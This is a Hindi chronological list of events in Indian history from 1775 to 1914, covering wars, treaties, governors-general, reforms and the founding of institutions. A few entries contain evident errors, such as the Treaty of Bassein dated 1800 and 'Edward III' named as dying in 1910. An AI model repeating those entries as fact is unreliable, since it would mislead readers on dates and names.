355 1775–1782 ई. प्रथम आंग्ल मराठा युद्ध।
356 1776 ई. अंग्रेज़ों (कर्नल आप्टन) तथा मराठों (रघुनाथराव के विरोधियों) के बीच पुरन्दर की सन्धि
357 1777 ई. सन 1857 के विद्रोही वीर कुँवर सिंह का जन्म।
358 1778 ई. यूरोप में अंग्रेज़-फ़्राँस युद्ध, भारत में फ़्राँसीसी उपनिवेशों पर अंग्रेज़ों का अधिकार।
359 1779 ई. मराठों तथा अंग्रेज़ों के बीच बड़गाँव समझौता मराठों ने 1773 में खोए हुए क्षेत्र पुनः प्राप्त किए, हैदर अली, हैदराबाद के निज़ाम तथा मराठों अंग्रेज़ों का विरोध करने को एकजुट।
360 1780 ई. कैप्टन पोफम के नेतृत्व में ईस्ट इंडिया कम्पनी का ग्वालियर पर अधिकार, द्वितीय मैसूर युद्ध प्रारम्भ, हैदर अली द्वारा कर्नाटक ध्वस्त, महाराजा रणजीत सिंह का जन्म, जेम्स हिक्की द्वारा 'बंगाल गजट' का प्रकाशन।
361 1781 ई. ईस्ट इंडिया कम्पनी ने बनारस के राजा चेतसिंह को गद्दी से हटाया, पोर्टोनोवा में हैदर अली पराजित, रेग्युलेटिंग एक्ट में संशोधन, वारेन हेस्टिंग्स द्वारा 'कलकत्ता मदरसा' की स्थापना, बंगाल में 'बोर्ड ऑफ़ रेवेन्यू' की स्थापना।
362 1782 ई. अंग्रेज़, मराठा और हैदर अली के बीच 'सालबाई की सन्धि' हैदर अली की मृत्यु, बंगाल की खाड़ी में अंग्रेज़ों तथा फ़्राँसीसियों के बीच नौसेनिक युद्ध, अंग्रेज़ों की मदद से आसफ़उद्दौला द्वारा अवध की बेगमों से धन उगाही।
363 1782–99 ई. टीपू सुल्तान मैसूर का शासक बना।
364 1783 ई. फाक्स का इंडिया बिल ब्रिटिश संसद में अस्वीकृत।
365 1784 ई. टीपू सुल्तान के साथ 'मंगलौर की सन्धि', मैसूर युद्ध द्वितीय की समाप्ति, भारतीय मामलों के लिए 'बोर्ड ऑफ़ कन्ट्रोल' की स्थापना हेतु पिट का इंडिया एक्ट ब्रिटिश संसद में पारित, 'एसियाटिक सोसाइटी आफ़ बंगाल' की स्थापना।
366 1785 ई. वारेन हेस्टिंग्स का त्यागपत्र, पंजाब में सिखों का आधिपत्य, दिल्ली पर महादजी सिंधिया का अधिकार।
367 1786–1793 ई. लॉर्ड कार्नवालिस बंगाल का गवर्नर-जनरल, गवर्नर-जनरल को अपने परिषद के निर्णय को निरस्त करने की व्यवस्था।
368 1787 ई. टीपू सुल्तान ने पेरिस और कुस्तुनतुनिया में दूत भेजा, मराठा, निज़ाम तथा टीपू के बीच सन्धि, मराठा लाभान्वित, विलियम विलबरफ़ोर्स द्वारा 'दासता-विरोधी लीग' की स्थापना।
369 1788 ई. ग़ुलाम क़ादिर रुहिल्ला का दिल्ली पर क़ब्ज़ा, ग़ुलाम क़ादिर ख़ान द्वारा शाहआलम द्वितीय को नेत्रहीन बनाया गया, बेदार बख़्त दिल्ली की गद्दी पर आसीन।
370 1788–1795 ई. वारेन हेस्टिंग्स पर महाभियोग।
371 1789–90 ई. टीपू सुल्तान का श्रावणकोर पर अधिकार।
372 1789–1802 ई. मराठों का दिल्ली पर अधिकार।
373 1790–92 ई. तृतीय मैसूर युद्ध (टीपू सुल्तान और अंग्रेज़, मराठा की संयुक्त सेना के बीच)।
374 1792 ई. श्रीरंगपट्टनम की सन्धि के साथ तृतीय मैसूर युद्ध समाप्त, पंजाब में रणजीत सिंह सुकरचकिया-मिसल के मुखिया, जोनाथन डंकन द्वारा वाराणसी में राजकीय संस्कृत महाविद्यालय (बाद में संस्कृत विश्वविद्यालय) की स्थापना।
375 1793–1798 ई. बंगाल के गवर्नर-जनरल सर जॉन शोर का कार्यकाल।
376 1793 ई. बंगाल में भू-राजस्व का स्थायी बंदोबस्त, ब्रिटिश संसद द्वारा भारत में युद्ध नियंत्रण विधेयक पारित। पांण्डिचेरी पर अंग्रेज़ों का अधिकार, कम्पनी के चार्टर का नवीनीकरण।
377 1794 ई. पूना में महादजी सिंधिया (शिंदे) का निधन।
378 1795 ई. ख़र्दा के युद्ध में निज़ाम का मराठों के समक्ष समर्पण, इन्दौर की रानी अहिल्याबाई होल्कर का निधन, जोनाथन डंकन बम्बई का गवर्नर नियुक्त।
379 1796 ई. पेशवा माधवराव नारायण की मृत्यु, बाजीराव द्वितीय पेशवा नियुक्त, अंग्रेज़ों द्वारा श्रीलंका को डचों से मुक्त कराया गया।
380 1797 ई. अहमद शाह अब्दाली के पोते जमान शाह का पंजाब पर आक्रमण। लाहौर पर अधिकार। अवध में नवाब आसफ़उद्दौला की मृत्यु। वज़ीर अली नये नवाब (अवध), श्रीरंगपट्टनम में 60 फ़्राँसीसियों द्वारा 'जैकोबिन क्लब' की स्थापना।
381 1798–1805 ई. लॉर्ड वेलेजली बंगाल का गवर्नर-जनरल
382 1798 ई. आजिद अली को हटाकर सआदत अली अवध का नवाब बना, निज़ाम द्वारा आश्रम-सन्धि पर हस्ताक्षर, टीपू सुल्तान के विरुद्ध अंग्रेज़, पेशवा और निज़ाम में एकता, टीपू ने फ़्राँसीसी उपनिवेश मारिशस को दूत भेजा, नेपोलियन बोनापार्ट का मिस्र अभियान।
383 1799 ई. नेपोलियन बोनापार्ट के काहिरा से लिखे पत्र में टीपू सुल्तान को अंग्रेज़ों से मुक्ति दिलाने का आश्वासन। चौथे मैसूर युद्ध में टीपू की मृत्यु। मैसूर विभाजन। मैसूर राजवंशज कृष्णराज गद्दी पर आसीन। जमान शाह द्वारा रणजीत सिंह लाहौर का सूबेदार नियुक्त। मैल्कम के नेतृत्व में अंग्रेज़ दूतमंण्डल ईरान पहुँचा। विलियम केरी द्वारा सेरामपुर में बैप्टिस्ट मिशन स्थापित।
384 1800 ई. पेशवा और अंग्रेज़ों के बीच बसीन की सन्धि, अंग्रेज़ों द्वारा पेशवा पुनः पूना की गद्दी पर अधिष्ठापित।
385 1803 ई. द्वितीय आंग्ल मराठा युद्ध (1803-05) में मराठों की पराजय। अलीगढ़ पर अंग्रेज़ों का अधिकार। भोंसले के साथ ईस्ट इंडिया कम्पनी की 'देवगाँव की सन्धि' तथा सिंधिया के साथ 'सुर्जी अर्जुनगाँव की सन्धि'।
386 1804 ई. जसवंतराव होल्कर के साथ युद्ध में कर्नल मोन्सन पराजित। बादशाह शाहआलम द्वितीय ब्रिटिश संरक्षण के अधीन।
387 1805 ई. अंग्रेज़ों का भरतपुर का घेरा असफल, लॉर्ड वेलेजली को इंग्लैंण्ड वापस बुलाया गया, लॉर्ड कार्नवालिस की मृत्यु, होल्कर के साथ सन्धि।
388 1805–1807 ई. सर जॉर्ज बार्लो बंगाल का गवर्नर-जनरल
389 1806 ई. अकबर द्वितीय शाहआलम द्वितीय का उत्तराधिकारी बना, वेल्लोर सैनिक विद्रोह।
390 1807–1813 ई. लॉर्ड मिण्टो प्रथम बंगाल का गवर्नर-जनरल
391 1807–1808 ई. नेपोलियन की भारत पर संयुक्त फ़्राँसीसी-रूसी अभियान योजना।
392 1808 ई. मैल्कम के नेतृत्व में फ़ारस तथा एल्फिन्स्टन के नेतृत्व में काबुल के लिए अंग्रेज़ दूतमण्डल भेजा गया।
393 1809 ई. अंग्रेज़ों और रणजीत सिंह के बीच 'अमृतसर की सन्धि' (25 अप्रैल)। सतलज पूर्व की पंजाबी रियासत अंग्रेज़ों के संरक्षण में। रणजीत सिंह शासक स्वीकृत।
394 1809–1811 ई. रणजीत सिंह का कांगड़ा पर क़ब्ज़ा।
395 1813–1823 ई. लॉर्ड हेस्टिंग्स बंगाल का गवर्नर-जनरल।
396 1813 ई. ईस्ट इंडिया कम्पनी का चार्टर नवीनीकृत, शिक्षा पर सालाना एक लाख रुपये ख़र्च करने का प्रावधान।
397 1814–1816 ई. नेपाल के साथ युद्ध। गोरखा तथा कम्पनी के बीच 'संगौली की सन्धि' (1816) में।
398 1815 ई. राममोहन राय द्वारा 'आत्मीय सभा' की स्थापना। वाटरलू का युद्ध
399 1817 ई. कलकत्ता में 'हिन्दू कॉलेज' की स्थापना (डेविड हेयर तथा राममोहन राय द्वारा)।
400 1817–1818 ई. सेरामपुर ईसाई मिशनरी संस्था द्वारा भारतीय भाषा (बांग्ला) में 'समाचार दर्पण' नाम का पहला साप्ताहिक प्रकाशित। पेशवा बाजीराव द्वितीय का समर्पण।
401 1819–1827 ई. एलफिंस्टन बम्बई के गवर्नर।
402 1819 ई. पेशवा पद की समाप्ति। ब्रिटिश वृत्तिभोगी की हैसियत से पेशवा बाजीराव द्वितीय को बिठूर निवास, राजपूताना के राजाओं के साथ सुरक्षात्मक सन्धि। तात्या टोपे का जन्म।
403 1820 ई. मुनरो मद्रास का गवर्नर बना। (दक्षिण भारत)
404 1821 ई. पूना में संस्कृत कॉलेज की स्थापना।
405 1822 ई. बम्बई में 'नेटिव एजुकेशन सोसाइटी' की स्थापना। 'बम्बई समाचार' प्रकाशित।
406 1823–1828 ई. लॉर्ड एमहर्स्ट बंगाल का गवर्नर-जनरल नियुक्त।
407 1823 ई. प्रेस आर्डिनेन्स के विरुद्ध राजाराममोहन राय का ज्ञापन। (इसके बाद कार्यवाहक गवर्नर-जनरल एडम्स ने मुद्रणालयों के लिए लाइसेंस अनिवार्य किया था)।
408 1824 ई. बैरकपुर में सैनिक विद्रोह (अधिक भत्ते की मांग पर)।
409 1824–26 ई. प्रथम आंग्ल-बर्मा युद्ध। याण्डबू की सन्धि। अराकान तथा तेनासरीम ब्रिटिश साम्राज्य में शामिल।
410 1824–1883 ई. स्वामी दयानन्द सरस्वती का जीवनकाल, आर्य समाज की स्थापना (1875 में)।
411 1825 ई. प्रसिद्ध स्वतंत्रता सेनानी दादाभाई नौरोजी का जन्म (4 सितम्बर)।
412 1826 ई. भरतपुर पर अंग्रेज़ों का अधिकार।
413 1827 ई. पहला वाष्पचालित युद्धपोत 'इंटरप्राइज' मद्रास पहुँचा। (दक्षिण भारत)
414 1828–1833 ई. लॉर्ड विलियम बैंटिक बंगाल का गवर्नर-जनरल
415 1828 ई. राममोहन राय द्वारा 'ब्रह्म समाज की स्थापना'। ऐकेडमिक एसोसिएशन स्थापित।
416 1829 ई. लॉर्ड विलियम बैंटिक द्वारा सती प्रथा ग़ैरक़ानूनी घोषित।
417 1829–1837 ई. बैंटिक द्वारा ठगों का दमन।
418 1830 ई. राजा राममोहन राय द्वारा इंग्लैंण्ड भ्रमण। धर्मसभा द्वारा कलकत्ता में सती प्रथा पर प्रतिबन्ध लगाने के विरोध में सभा। ईश्वरचन्द्र गुप्ता द्वारा बंगाल मासिक 'संवाद प्रभाकर' प्रकाशित।
419 1831 ई. मैसूर का राजा पदच्युत। शासन ब्रिटिश सरकार के हाथ में, रोपड़ में लॉर्ड विलियम बैंटिक और रणजीत सिंह की भेंट।
420 1832 ई. असम के जैंतिया क्षेत्र पर अंग्रेज़ों का आधिपत्य।
421 1833 ई. ईस्ट इंडिया कम्पनी के चार्टर का नवीनीकरण, वैधानिक शक्ति का केन्द्रीयकरण। बंगाल का गवर्नर-जनरल पहली बार भारत के गवर्नर-जनरल के नाम से जाने लगा, भारतीय विधि आयोग की नियुक्ति, ब्रिटेन में दास-प्रथा पर प्रतिबंध लगाया गया।
422 1833–1835 ई. लॉर्ड विलियम बैंटिक भारत का गवर्नर-जनरल
423 1834 ई. कुर्ग पर अंग्रेज़ों का आधिपत्य। लॉर्ड मैकाले सुप्रीम कौंसिल में पहला विधि सदस्य नियुक्त। सरकार द्वारा चाय बाग़ानों की स्थापना। आगरा प्रान्त की स्थापना।
424 1835–1836 ई. सर चार्ल्स मेटकॉफ़ कार्यकारी गवर्नर-जनरल।
425 1835 ई. मेटकॉफ़ द्वारा समाचार पत्रों पर से प्रतिबन्ध समाप्त। लॉर्ड मैकाले का शिक्षा नीति पर प्रस्ताव। अंग्रेज़ी (फ़ारसी के स्थान पर) पहली बार सरकारी भाषा बनी। कम्पनी ने पहली बार अपने सिक्के जारी किए (बिना मुग़ल सम्राट के नाम के)। कलकत्ता मेडिकल कॉलेज की स्थापना। कलकत्ता के हिन्दू कॉलेज में धर्मसभा के तत्वाधान में पश्चिमी ढंग की पहली सार्वजनिक सभा (30 जनवरी) जिसमें रामकमल सेन ने मांग की थी कि सभी ज़मीदारों तथा रैय्यतों के जीवन के मूलभूत सामाजिक आर्थिक प्रश्नों पर विचार-विमर्श करे।
426 1836–1842 ई. लॉर्ड आकलैण्ड गवर्नर-जनरल
427 1837 ई. अकबर द्वितीय का उत्तराधिकारी बहादुरशाह द्वितीय 'जफ़र' गद्दी पर आसीन, महारानी विक्टोरिया गद्दी पर आसीन।
428 1838 ई. अफ़ग़ानिस्तान के भू. पू. शासक शाहशुजा, रणजीत सिंह तथा अंग्रेज़ों के बीच 'त्रिपक्षीय सन्धि'। काबुल-कंधार पर अंग्रेज़ों का अधिकार। 'कलकत्ता सोसाइटी फॉर द एक्यूजीशन आफ़ जनरल नालेज' नाम की साहित्यिक वैचारिक संस्था की स्थापना, केशवचन्द्र सेन का जन्म (19 नवम्बर)।
429 1839 ई. महाराजा रणजीत सिंह की मृत्यु। कलकत्ता तथा दिल्ली के बीच जी. टी. रोड का कार्य आरम्भ। अंग्रेज़ों द्वारा शाहशुजा को काबुल का अमीर (बाद में यूनाइटेड इंडिया एसोसियशन) की स्थापना (9 फ़रवरी)। लन्दन में ब्रिटिश इंडिया सोसाइटी की स्थापना।
430 1839–1842 ई. प्रथम आंग्ल-अफ़ग़ान युद्ध
431 1840 ई. अफ़ग़ान कबाइलियों का विद्रोह, दोस्त मुहम्मद पदच्युत, मैन्चेस्टर में 'नार्दन सेंट्रल ब्रिटिश इंडिया सोसाइटी' की स्थापना।
432 1841 ई. कलकत्ता में 'देश हितेषणी सभा' की स्थापना (3 अक्टूबर)।
433 1841–1844 ई. लॉर्ड एलनबरो गवर्नर-जनरल
434 1842 ई. अफ़ग़ानिस्तान में अंग्रेज़ी सेना का संहार। काबुल पर पुनः आधिपत्य। दोस्त मुहम्मद पुनः अमीर बना। एलनबरो की शिमला घोषणा। अफ़ग़ानिस्तान से अंग्रेज़ी सैनिक वापस।
435 1843 ई. सिन्ध पर अंग्रेज़ों का आधिपत्य। दासप्रथा पर प्रतिबन्ध। 'बंगाल ब्रिटिश इंडिया सोसाइटी' की स्थापना।
436 1844–1848 ई. लॉर्ड हार्डिंग गवर्नर-जनरल
437 1844 ई. लॉर्ड हार्डिंग द्वारा सरकारी नौकरियों में अंग्रेज़ी शिक्षित भारतीयों को नियुक्ति देने का निर्णय। कांग्रेस नेता दिनशा एदुलजी वाचा का जन्म।
438 1845–46 ई. प्रथम आंग्ल-सिख युद्ध में सिख पराजित।
439 1846 अंग्रेज़ों तथा सिखों के बीच लाहौर की सन्धि।
440 1847 ई. रुड़की में प्रथम इंजीनियरिंग कॉलेज की स्थापना।
441 1848–1856 ई. लॉर्ड डलहौज़ी गवर्नर-जनरल
442 1848 ई. सतारा ब्रिटिश साम्राज्य में सम्मिलित। गोद लेने की प्रथा पर प्रतिबन्ध। बम्बई में 'स्टूडेंट्स लिटरेरी एंड साइंटिफिक सोसाइटी' की स्थापना।
443 1848–1849 ई. दूसरे आंग्ल सिख युद्ध में सिख पराजित।
444 1849 ई. पंजाब, जैतपुरा तथा संभलपुर का ब्रिटिश साम्राज्य में विलय। कलकत्ता में बेथुन द्वारा पहली कन्या पाठशाला की स्थापना। डलहौज़ी द्वारा मुग़ल राजवंश की समाप्ति पर विचार।
445 1850 ई. सिक्किम का एक भाग अंग्रेज़ों के क़ब्ज़े में।
446 1851 ई. कलकत्ता में 'ब्रिटिश इंडियन एसोसियशन' की स्थापना।
447 1852 ई. द्वितीय आंग्ल-बर्मा युद्ध। रंगून (वर्तमान यांगून) तथा पेगू पर आधिपत्य। भूतपूर्व पेशवा बाजीराव द्वितीय की मृत्यु तथा उसकी पेंशन समाप्त। पूना में 'दक्कन एजुकेशन सोसायटी' की स्थापना। निज़ाम द्वारा बरार अंग्रेज़ों का समर्पित। कम्पनी के चार्टर का नवीनीकरण तथा पहली बार आई सी एस. (भारतीय प्रशासनिक सेवा) परीक्षा प्रारम्भ। सस्ती डाक सेवा प्रारम्भ।
448 1854 ई. बंगाल में नील विद्रोह।
449 1855 ई. संथाल विद्रोह। पटसन उद्योग की शुरुआत। कलकत्ता में 'अंजुमने इस्लामी' (या मोहम्मडन एसोसिएशन) की स्थापना (मई 6)।
450 1856 ई. अवध ब्रिटिश साम्राज्य में सम्मिलित। भारतीय विश्वविद्यालय अधिनियम। बंगाल विधान परिषद् द्वारा हिन्दू विधवा पुनर्विवाह अधिनियम पारित। यूरोप में क्रीमिया युद्ध समाप्त। भारतीय सैनिकों को इनफील्ड रायफल और चर्बीयुक्त कारतूस प्रयोग के लिए दिये गये। कलकत्ता में इंजीनियरिंग कॉलेज की स्थापना।
451 1856–62 ई. लॉर्ड कैनिंग गवर्नर-जनरल
452 1857 ई. कलकत्ता, बम्बई तथा मद्रास विश्वविद्यालयों की स्थापना। 1857 का विद्रोह, केशवचन्द्र सेन ब्रह्म समाज में शामिल, मंगल पाण्डे द्वारा लेफ्टिनेंट बाग़ की गोली मारकर हत्या।
453 1858 ई. भारत का शासन ईस्ट इंडिया कम्पनी से ब्रिटिश सरकार के हाथों में। महारानी विक्टोरिया का घोषणा पत्र। लॉर्ड कैनिंग को वायसराय की एक अतिरिक्त उपाधि (तत्पश्चात् गवर्नर जनरल के साथ वायसराय का भी प्रयोग प्रारम्भ)। समाज सुधारक डी. के. कर्वे का जन्म (18 अप्रैल)। जगदीश चन्द्र बोस का जन्म (30 नवम्बर), लखनऊ पर अंग्रेज़ों का पुनः अधिकार।
454 1859 ई. गोद-प्रथा की समाप्ति की घोषणा रद्द। बंगाल में नील विद्रोह। कस्तूरी रंगा आयंगर का जन्म (15 दिसम्बर)। जेम्स विल्सन (सुप्रीम कौंसिल का प्रथम वित्त सदस्य) द्वारा आयकर लागू। काग़ज़ के नोट जारी।
455 1861 ई. भारतीय परिषद् अधिनियम तथा भारतीय हाईकोर्ट्स अधिनियम लागू। आर्कियोलाजिकल सर्वे आफ़ इंडिया (ए. एस. आई.) का गठन। दीनबंधु मित्र का नाटक 'नील-दर्पण' प्रकाशित। रवीन्द्रनाथ ठाकुर का जन्म।
456 1862 ई. सदर न्यायालय उच्च न्यायालयों के साथ एकीकृत। भारतीय दंड संहिता लागू।
457 1862–63 ई. लॉर्ड एल्गिन प्रथम का वायसराय काल।
458 1863 ई. कलकत्ता में अब्दुल लतीफ़ की प्रेरणा से 'मोहम्मडन एसोसिएशन' की स्थापना। पटना कॉलेज की स्थापना।
459 1863–1902 ई. स्वामी विवेकानन्द
460 1864–69 ई. सर जॉन लारेंस वायसराय
461 1864 ई. सैय्यद अहमद द्वारा 'मोहम्मडन साइंटिफिक सोसायटी' की स्थापना। मद्रास में ब्रह्मसमाज की प्रेरणा से समान उद्देश्यों वाली संस्था स्थापित। बंकिमचन्द्र चटर्जी द्वारा 'दुर्गेश नन्दनी' उपन्यास की रचना। (दक्षिण भारत)
462 1865 ई. यूरोप के साथ दूर संचार व्यवस्था का उदघाटन। उड़ीसा में दुर्भिक्ष।
463 1866 ई. केशवचन्द्र सेन द्वारा 'भारतीय ब्रह्म समाज' की स्थापना। गोपाल कृष्ण गोखले का जन्म। 'ईस्ट इंडिया एसोसिएशन' की स्थापना तथा बाद में 'लन्दन इंडिया सोसाइटी' का इसमें विलेय।
464 1867 ई. ब्रह्मसमाज की प्रेरणा से बम्बई में प्रार्थना समाज की स्थापना। नवगोपाल मित्र द्वारा कलकत्ता में स्वदेशी वस्तुओं के प्रचार के लिए वार्षिक मेले का उदघाटन। आयकर पुनः लागू किए जाने का विरोध। 'पूना सार्वजनिक सभा: स्थापित।
465 1868 ई. अम्बाला से दिल्ली तक रेलवे लाइन का उदघाटन। शिशिर कुमार घोष द्वारा 'अमृत बाज़ार पत्रिका' प्रकाशित। भारत का प्रथम संध्या समाचार पत्र 'मद्रास-मेल' प्रकाशित।
467 1869–72 ई. लॉर्ड मेयो का वायसराय काल।
468 1869 ई. ड्यूक आफ़ एडिनबरा की भारत यात्रा। स्वेज नहर का उदघाटन। महात्मा गांधी का जन्म। ठक्कर बापा का जन्म।
469 1870 ई. मेयो का प्रान्तीय बंदोबस्त। लाल सागर टेलीग्राफ़ की शुरुआत। देशबन्धु चितरंजनदास का जन्म (5 नवम्बर)। महादेव गोविन्द रानाडे प्रार्थना सभा में शामिल।
470 1872 ई. कूका विद्रोहलॉर्ड मेयो की हत्या (पोर्ट ब्लेयर में)। आनन्द मोहन बोस द्वारा लन्दन में 'इंडियन सोसायटी' की स्थापना। जनगणना प्रारम्भ।
471 1872–76 ई. लॉर्ड नार्थब्रुक वायसराय
472 1873 ई. लाहौर में स्वदेशी वस्तुओं के प्रचार के लिए 'स्वदेशी सभा' स्थापित।
473 1874 ई. बिहार में दुर्भिक्ष।
474 1875 ई. स्वामी दयानन्द सरस्वती द्वारा 'आर्य समाज' की स्थापना। प्रिंस आफ़ वेल्स एडवर्ड की भारत यात्रा। सैय्यद अहमद ख़ान द्वारा 'मोहम्मडन ऐंग्लो-ओरिएन्टल कॉलेज' (अलीगढ़) की स्थापना। अजमेर में 'मेयो कॉलेज' की स्थापना। अमेरिका में थियोसॉफिकल सोसायटी की स्थापना। कलकत्ता में 'इंडिया लीग' की स्थापना।
475 1876–80 ई. लॉर्ड लिटन प्रथम का वायसराय काल।
476 1876 ई. क्केटा पर अंग्रेज़ी सेना का अधिकार। कलकत्ता में 'इंडियन एसोसिएशन' की स्थापना। आई.सी.एस. (भारतीय प्रशासनिक सेवा) परीक्षा में शामिल होने के लिए आयु सीमा में कटौती।
477 1877 ई. लॉर्ड लिटन का दिल्ली दरबारमहारानी विक्टोरिया भारत की साम्राज्ञी घोषित। सुरेन्द्रनाथ बनर्जी द्वारा दिल्ली में 'दिल्ली दरबार' के अवसर पर पहली 'नेटिव प्रेस ऐसोसिएशन' की स्थापना (वे स्वयं इसके सचिव बने)। आई.सी.एस. की परीक्षा लन्दन के साथ-साथ भारत में भी आयोजित किए जाने की मांग। सैय्यद अमीर अली ने 'नेशनल मोहम्मडन एसोसिएशन' की स्थापना की।
478 1878 ई. लिटन का वर्नाक्यूलर प्रेस एक्ट लागू, दूसरा अफ़ग़ान युद्ध आरम्भ। कलकत्ता में भारतीय पत्रकारों की 'नेटिव प्रेस कांफ्रेंस' का पहला सम्मेलन। 'साधारण ब्रह्म समाज' की स्थापना।
479 1879 ई. अडयार (मद्रास) में मैडम ब्लावत्सकी (रूसी) तथा कर्नल अल्कॉट (अमेरिका) द्वारा 'थियोसोफ़िकल सोसाइटी' की स्थापना। चक्रवर्ती राजगोपालाचारी का जन्म (7 दिसम्बर)। लिटन द्वारा इंग्लैंण्ड से आयातित सूती माल पर आयात कर हटाया गया।
480 1880–84 ई. दुर्भिक्ष आयोग की स्थापना। अफ़ग़ानिस्तान के प्रति ब्रिटिश नीति में परिवर्तन। डॉ. पट्टाभि सीतारमैय्या का जन्म (24 दिसम्बर)।
481 1881 ई. पहला फैक्ट्री अधिनियम। मैसूर राज्य उसके मूल शासकों को सौंपा गया। 'ट्रबियून', 'केसरी' तथा 'मराठा' का प्रकाशन।
482 1882 ई. वर्नाक्यूलर प्रेस एक्ट निरस्त। हंटर आयोग, भारतीय शिक्षा आयोग, पंजाब विश्वविद्यालय की स्थापना। सूरत में 'प्रजाहितवर्धक सभा' का गठन, पुरुषोत्तम दास टंडन का जन्म।
483 1883 ई. इल्बर्ट बिल गवर्नर-जनरल की विधान परिषद् में प्रस्तुत। भारतीय राष्ट्रीय सम्मेलन का आयोजन।
484 1884–88 ई. लॉर्ड डफ़रिन वायसराय
485 1884 ई. केशवचन्द्र सेन की मृत्यु (8 जनवरी)। डॉ. राजेन्द्र प्रसाद का जन्म (3 दिसम्बर)। मद्रास में 'महाजन सभा' स्थापित। (दक्षिण भारत)
486 1885 ई. भारतीय राष्ट्रीय कांग्रेस की स्थापना तथा पहला अधिवेशन बम्बई के गोकुलदास तेजपाल संस्कृत स्कूल में। बंगाल टेनेंसी एक्ट पारित, बंगाल स्थानीय स्वशासन। अधिनियम पारित, आंग्ल-बर्मा युद्ध। बम्बई प्रेसीडेन्सी एसोसिएशन की स्थापना।
487 1886 ई. उत्तरी बर्मा का ब्रिटिश साम्राज्य में विलय। अफ़ग़ानिस्तान की उत्तरी सीमा का निर्धारण। रामकृष्ण परमहंस की मृत्यु। कांग्रेस के दूसरे अधिवेशन में पंजाब के प्रतिनिधि लाला मुरलीधर का हिन्दी में भाषण। कांग्रेस के मंच से हिन्दी में यह पहला भाषण था।
488 1887 ई. महारानी विक्टोरिया के शासनकाल की स्वर्ण जयन्तीइलाहाबाद विश्वविद्यालय की स्थापना। शिवनारायण अग्निहोत्री द्वारा 'देव समाज' की स्थापना।
489 1888 ई. कर्नल थियोडोर बैंक द्वारा 'यूनाइटेड इंडियन पैट्रियॉटिक एसोसिएशन' की स्थापना।
490 1888–94 ई. लॉर्ड लैन्सडाउन वायसराय
491 1889 ई. प्रिंस आफ़ वेल्स की भारत की दूसरी यात्रा। जमनालाल बजाज, खुदीराम बोस तथा जवाहरलाल नेहरू का जन्म।
492 1891 ई. द्वितीय फैक्ट्री अधिनियम। सहवास वर्ष अधिनियम (एज ऑफ़ कॉनसेन्ट एक्ट), मणिपुर में विद्रोह, डॉ. भीमराव अम्बेडकर का जन्म (14 अप्रैल)।
493 1892 ई. भारतीय परिषद् अधिनियम, चुनाव की प्रणाली निर्धारत।
494 1893 ई. एनी बेसेन्ट का भारत आगमन, स्वामी विवेकानन्द शिकांगो सम्मेलन के लिए अमेरिका रवाना।
495 1894 ई. नटाल (दक्षिण अफ़्रीका) में भारतीय राष्ट्रीय कांग्रेस की स्थापना (कांग्रेस के लाहौर (1893) अधिवेशन से प्रभावित होकर)।
496 1894–99 ई. लॉर्ड एल्गिन द्वितीय का वायसराय काल।
497 1896 ई. बम्बई में प्लेग
498 1897 ई. भारतीय शिक्षा सेवा का गठन। सुभाषचन्द्र बोस का जन्म। लोकमान्य तिलक को शिवाजी से सम्बोधित देश के भक्ति के पद्य लिखने के आरोप में 18 माह की कड़ी क़ैद।
499 1898 ई. 'प्रार्थना समाज' (बम्बई) द्वारा एक दलित वर्ग मिशन प्रारम्भ।
500 1899–1905 ई. लॉर्ड कर्ज़न वायसराय
501 1900 ई. भूमि स्वामित्व-परिषद् अधिनियम, दुर्भिक्ष आयोग, कांग्रेस के मंच से पहली महिला श्रीमती कादम्बिनी गांगुली का भाषण।
502 1901 ई. महारानी विक्टोरिया की मृत्यु, एडवर्ड सप्तम सिंहासनारूढ़, उत्तर-पश्चिम सीमा प्रान्त का गठन।
503 1904 ई. कोआपरेटिव सोसायटी अधिनियम, पुरातत्त्व विभाग की स्थापना, भारतीय विश्वविद्यालय अधिनियम, जतीन्द्रदास का जन्म।
504 1905 ई. बंगाल विभाजन, लॉर्ड मार्ले भारतीय मामलों के सचिव नियुक्त।
505 1905–10 ई. लॉर्ड मिण्टो द्वितीय का वायसराय काल।
506 1906 ई. कांग्रेस (कलकत्ता अधिवेशन) मंच से दादाभाई नौरोजी द्वारा 'स्वराज' शब्द का पहली बार प्रयोग। ढाका में 'मुस्लिम लीग' की स्थापना।
507 1907 ई. सूरत अधिवेशन में कांग्रेस विभाजित। एनी बेसेन्ट थियोसोफिकल सोसायटी की अध्यक्ष बनी। टाटा इस्पात कारखाने से इस्पात का उत्पादन प्रारम्भ।
508 1908 ई. समाचार पत्र अधिनियम। खुदीराम बोस को फाँसी। तिलक पर राजद्रोह का मुकदमा।
509 1909 ई. मॉर्ले मिण्टो सुधार। भारतीय परिषद् अधिनियम पारित। वायसराय के कार्यकारी परिषद् में प्रथम भारतीय (एच. पी. सिन्हा) की नियुक्ती। मदन लाल धींगरा द्वारा लन्दन में कर्ज़न वाइली की हत्या। दक्षिण अफ़्रीका जाते हुए जहाज़ पर गाँधी जी ने 30 हज़ार शब्दों की 'हिन्दी स्वराज' नामक पुस्तक लिखी।
510 1910–16 ई. लॉर्ड हार्डिंग द्वितीय का वायसराय काल।
511 1910 ई. एडवर्ड तृतीय की मृत्यु, जार्ज पंचम सिंहासनारूढ़।
512 1911 ई. द्वितीय दिल्ली दरबार। सम्राट जार्ज पंचम की भारत यात्रा। बंगाल विभाजन रद्द। राजधानी कलकत्ता से दिल्ली स्थानान्तरित करने की घोषणा। जनगणना।
513 1912 ई. राजधानी कलकत्ता से दिल्ली स्थानान्तरित। दिल्ली प्रान्त का गठन। लॉर्ड हार्डिंग दिल्ली में बम विस्फोट में घायल। जवाहर लाल नेहरू पहली बार कांग्रेस अधिवेशन (बांकीपुर) में उपस्थित। इंस्लिंग्टन कमीशन का गठन। अबुलकलाम आज़ाद द्वारा 'अल-हिलाल' अख़बार प्रकाशित।
514 1913 ई. रवीन्द्रनाथ टैगोर को नोबेल पुरस्कारफ़िरोजशाह मेहता द्वारा 'द बम्बई क्रॉनिकल' की शुरुआत। सैन फ़्राँसिस्को में गदर पार्टी का गठन।
515 1914 ई. तिलक मांडले जेल से रिहा। 'फॉरेस्ट रिसर्च इंस्टीट्यूट' की स्थापना। पनामा नहर की शुरुआत। एनी बेसेन्ट द्वारा 'न्यू इंडिया' प्रकाशित।
516 1914–18 ई. प्रथम विश्व युद्ध। ब्रिटेन द्वारा तुर्की के विरुद्ध हमला।
